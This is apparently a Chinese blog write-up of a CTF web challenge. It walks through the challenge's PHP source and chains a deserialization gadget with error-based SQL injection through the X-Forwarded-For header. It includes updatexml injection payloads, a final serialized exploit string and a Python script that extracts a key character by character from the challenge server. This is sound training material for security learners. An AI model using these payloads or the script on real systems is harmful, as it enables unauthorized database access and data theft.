N1CTF2020 Web SignIn-wp

报名了N1CTF 结果没有做 有点后悔 最后才看wp跟着做一次 还有谢谢atao师傅提供的脚本。
看来自己也要学习一下怎么写简单的脚本啦。

一. 源代码

<?php 
class ip {
    public $ip;
    public function waf($info){//设置waf
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);//参数可以控制
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){//当一个对象被当作一个字符串被调用。
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}
class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){//反序列化会执行__wakeup魔法函数利用点
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);//进行反序列化利用点
} 

上面简单的分析了一下源代码,思路就是进行控制X-Forwarded-For参数进行sql注入到key,然后进行获得flag

二. 分析代码

我们可以看到输入的input进行反序列化操作这样就会调用__wakeup()魔法函数,又因为__wakeup()魔法函数里面stristr()函数,这个函数是忽略大小写字符串的查询。

但是我们要利用的是ip类的__toString()方法进行sql注入。所以如果我们将stristr()函数里面的ip参数换成ip类,这样就会调用ip类的__toString()方法从而执行sql注入

$a = new flag(new ip());
echo $a;
#O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}

如果我们注入到key就成功可以成功获得flag
接下来就是进行sql注入啦

三. sql注入原理分析

这里进行sql注入原理分析需要结合ip类和flag类一起看

#ip类的__toString方法
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){//错误就返回错误信息
            return mysqli_error($con);
        }else{//正确就返回"your ip looks ok!"
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
#flag类的__wakeup()方法
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)//寻找字符串"n1ctf"存在
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
#存在就返回"welcome to n1ctf2020",不存在就返回"noip"

在flag类里面的stristr($this->ip, "n1ctf")中的$this->ip的值是进行SQL语句执行后的返回值,意思就是如果ip类的sql语句执行成功就返回"your ip looks ok!"然后不存在"n1ctf"字符串,最后返回页面的就是noip。如果sql语句执行失败就会返回失败信息,如果信息里面有"n1ctf"就会页面输出welcome to n1ctf2020

通过上面分析,发现正常是插入sql语句是不行的,如果要利用就必须让sql语句执行不成功。而且可以进行判断0或1。所以我们就可以使用报错注入。
在这里插入图片描述

#sql payload
select  updatexml(1,concat('~',(select if((1=1),'n1ctf',0)),'~'),1);

#exp
' or updatexml(1,concat('~',(select if((1=1),'n1ctf',0)),'~'),1) or '

这样我们就可以进行报错注入啦,最后就是闭合单引号。

在这里插入图片描述

四. Payload

#思路
数据库:n1ctf_websign

获得表
'or updatexml(1,concat('~',(select if((substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='n'),'n1ctf',0)),'~'),1) or '
#n1ip,n1key

获得字段
'or updatexml(1,concat('~',(select if((substring((select group_concat(column_name) from information_schema.columns where table_name='n1key'),1,1)='i'),'n1ctf',0)),'~'),1) or '
#ip,key

获得key值
'or updatexml(1,concat('~',(select if((substring((select `key` from n1key),1,1)='n'),'n1ctf',0)),'~'),1) or '
#n1ctf20205bf75ab0a30dfc0c
#最后payload
?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}
#  -*- coding: utf-8 -*-
# @Author: atao
import requests

url = 'http://101.32.205.189/?input=O:4:"flag":1:{s:2:"ip";O:2:"ip":0:{}}'
dic = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789-+{}="
flag=''

for j in range(1, 20):
    #for m in dic:
    for m in range(48,126):
        headers = {
            'X-Forwarded-For': "'or updatexml(1,concat('~',(select if((substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'),'n1ctf',0)),'~'),1) or '".format(j,chr(m))
            #'X-Forwarded-For': "'or updatexml(1,concat('~',(select if((substring((select group_concat(column_name) from information_schema.columns where table_name='n1key'),{},1)='{}'),'n1ctf',0)),'~'),1) or '".format(j, m)
            #'X-Forwarded-For': "'or updatexml(1,concat('~',(select if((substring((select `key` from n1key),{},1)='{}'),'n1ctf',0)),'~'),1) or '".format(j,m)

        }
        res = requests.get(url=url, headers=headers)
        #res = requests.get(url=url, headers=headers)
        #print res.text
        if "<code>welcome to n1ctf2020</code>" in res.text:
            flag = flag + chr(m)
            break
    print flag

五. 总结

学习了新姿势序列化配合sql注入
还有就是脚本学习hhh~

希望对您有帮助~

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值